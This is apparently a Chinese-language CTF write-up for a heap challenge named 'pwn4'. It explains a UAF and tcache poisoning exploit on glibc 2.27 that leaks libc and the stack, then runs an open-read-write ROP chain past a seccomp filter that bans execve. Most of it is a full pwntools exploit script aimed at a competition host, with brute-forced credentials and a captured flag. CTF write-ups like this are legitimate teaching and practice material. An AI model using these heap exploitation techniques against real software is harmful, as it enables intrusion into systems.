赛题名称pwn4

# 解题思路

是一个菜单堆，但是打开了user和password两个文件。

```
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x06 0xc000003e  if (A != ARCH_X86_64) goto 0008
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x03 0xffffffff  if (A != 0xffffffff) goto 0008
 0005: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0008
 0006: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x06 0x00 0x00 0x00000000  return KILL
```

开沙箱打orw

本地没有这两个file先用远程，爆破出user和password
最后爆破出账号是`4dm1n`密码是`985da4f8cb37zkj`
然后是菜单堆，add edit的时候都要将输出过一次rc4，然后会将加密后的内容写到堆上，只能申请0x300以下的堆堆块。
rc4密钥是s4cur1ty_p4ssw0rd

有uaf，libc2.27 打tcache即可
可以通过将tcache合并到unsortedbin来leaklibc

然后挟持tcache到_environ来leak栈，由于read堆块大小的内容，在申请0x200的前提下要**environ - 0x200 然后填满接上**environ可以leak栈
然后打rop，这里最坑的在于rc4会将一些gadgets加密变成换行符而截断。
不能吧flag\x00\x00写到rop链上面，会被截断。因此写到chain后面即可

另一个坑点是远程flag不是/flag，是/flag.txt
`FLAG=wdflag{aa8eh9sk6gyak41mv087az773gm57s6k}` 套完了。。。。

```python
from turtle import Turtle
from pwncli import *
from pwn import *
from rc4 import *
import cryptography
import string
import ctypes
from Crypto.Util.number import *

context(arch='amd64', os='linux', log_level='debug')
```

```python
file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

elf = ELF(file_name)

def dbg(input=''):
    gdb.attach(p,input)
def tob(a):
    if isinstance(a, str):
        return bytes(a,encoding="latin1")
    elif isinstance(a,bytes) or isinstance(a,bytearray):
        return a
    else:
        return bytes(str(a),encoding="latin1")
def dbgg():
    raw_input()

debug = 1
username = "4dm1n"
password = "985da4f8cb37zk"
flag = 0


def rc4_encrypt(key, data):
    S = list(range(256))
    j = 0
    out = []

    # Key-scheduling algorithm (KSA)
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]

    # Pseudo-random generation algorithm (PRGA)
    i = j = 0
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        k = S[(S[i] + S[j]) % 256]
        out.append(char ^ k)

    return bytes(out)

def save_data(key,len,data):
    p.sendlineafter("5. Exit","1")
```

```
    p.sendlineafter("Input the key:",key)
    p.sendlineafter("Input the value size:",len)
    p.sendlineafter("Input the value: ",data)

def read_data(key):
    p.sendlineafter("5. Exit","2")
    p.sendlineafter("Input the key:",key)

def delete_data(key):
    p.sendlineafter("5. Exit","3")
    p.sendlineafter("Input the key: ",key)

def edit_data(key,data):
    p.sendlineafter("5. Exit","4")
    p.sendlineafter("Input the key: ",key)
    p.sendlineafter("Input the value: ",data)


def house_of_some_read(libc_base,read_from, len, _chain):
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE.flags = 0x8000 | 0x40 | 0x1000
    fake_IO_FILE.fileno = 0
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_base = read_from
    fake_IO_FILE._IO_write_ptr = read_from+len
    fake_IO_FILE.chain = _chain
    fake_IO_FILE.vtable = libc_base + libc.sym['_IO_file_jumps'] - 0x8
    return bytes(fake_IO_FILE)

def house_of_some_write(libc_base,write_from, len, _chain):
    fake_IO_FILE = IO_FILE_plus_struct()
    fake_IO_FILE.flags = 0x8000 | 0x800 | 0x1000
    fake_IO_FILE.fileno = 1
    fake_IO_FILE._mode = 0
    fake_IO_FILE._IO_write_base = write_from
    fake_IO_FILE._IO_write_ptr = write_from + len
    fake_IO_FILE.chain = _chain
    fake_IO_FILE.vtable = libc_base+ libc.sym['_IO_file_jumps']
    return bytes(fake_IO_FILE)



RC4_key = b"s4cur1ty_p4ssw0rd"
# if debug:

p = remote("0192d69ceea77834bea840637e8159b8.sgz2.dg05.ciihw.cn",45172
)
p.sendlineafter("Input your username:","4dm1n")
p.sendlineafter("Input your password:","985da4f8cb37zkj")
save_data("1",str(0x200),b"A"*20)
```

```python
save_data("2",str(0x200),b"B"*20)
binsh = rc4_encrypt(RC4_key, b'/bin/sh')
save_data("3",str(0x200),binsh)
# delete_data("1")
# delete_data("2")
for i in range(4,4+9):
    save_data(str(i),str(0x250),b"E"*20)
for i in range(4,4+8):
    delete_data(str(i))
read_data("11")
p.recvuntil("[key,value] = [11,")
data = p.recv(20)
li(data)

data2 = (rc4_encrypt(RC4_key, data))
libc = ELF("/home/zephyr/tool/glibc-all-in-one/libs/2.27-
3ubuntu1.6_amd64/libc.so.6")
libc_base = bytes_to_long(data2[:6][::-1])
libc_base = libc_base - (0x7f99f3ad6ca0 - 0x7f99f36eb000)
io_list_all = libc_base + libc.sym["__environ"] - 0x200
li(hex(io_list_all))
# li("Done")

delete_data("1")
delete_data("2")
read_data("2")
p.recvuntil("[key,value] = [2,")
data = p.recv(20)
li(data)
data2 = (rc4_encrypt(RC4_key, data))
li(data2)

target = rc4_encrypt(RC4_key, p64(io_list_all))
edit_data("2",target)

write_addr = 0x62b000 + libc_base

# payload = house_of_some_read
system_addr = libc_base + libc.sym["system"]
save_data("1",str(0x200),b"A"*20)
payload = house_of_some_read(libc_base,write_addr,0x90,write_addr)

save_data("2",str(0x200),b'a'*0x200)

read_data('2')

p.recvuntil(b'a'*0x200)
leak_stack = u64(p.recv(6) + b'\x00\x00')
success(hex(leak_stack))
```

```python
control_stack = leak_stack - 0x1d0

success(hex(control_stack))

save_data('4',str(0X200),b'a')
save_data('5',str(0x200),b'b')

delete_data('5')
delete_data('4')

new_target_fd = rc4_encrypt(RC4_key, p64(control_stack))
edit_data('4', new_target_fd)

save_data('6',str(0x200),b'rubbish')
# gdb.attach(p)
libc.address = libc_base
gift['io'] = p
gift['libc'] = libc


CurrentGadgets.set_find_area(find_in_elf=False, find_in_libc=True,
do_initial=False)
pad2 = CurrentGadgets.orw_chain(control_stack, flag_fd=3)
pad = CurrentGadgets.orw_chain(control_stack+len(pad2), flag_fd=3)
pad += b'/flag.txt\x00\x00\x00'



save_data('7',str(0x200), rc4_encrypt(RC4_key, pad))


# edit 4

# leak stack 之后继续劫持tcache


# edit_data("2","a")
# read_data("2")
# li(hex(free_hook))


# 打 House of some



# delete_data("3")

p.interactive()
```